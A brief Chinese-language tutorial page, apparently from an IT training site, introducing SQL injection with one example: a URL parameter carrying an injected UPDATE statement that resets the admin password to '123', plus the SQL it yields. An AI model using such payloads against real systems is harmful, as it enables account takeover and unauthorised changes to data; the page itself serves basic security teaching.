学习交流

SQL注入攻击

2018-05-28 10:20:10 | 来源:中培企业IT培训网

可以传递到数据库的数据都是攻击对象
  示例
  https://www.zpedu.com/showdetail.asp?id=49 And (update user set passwd=‘123’ where username=‘admin’);--
  Select * from 表名 where 字段=’49’ And (update user set passwd=‘123’ where username=‘admin’);

标签: SQL注入攻击

猜你喜欢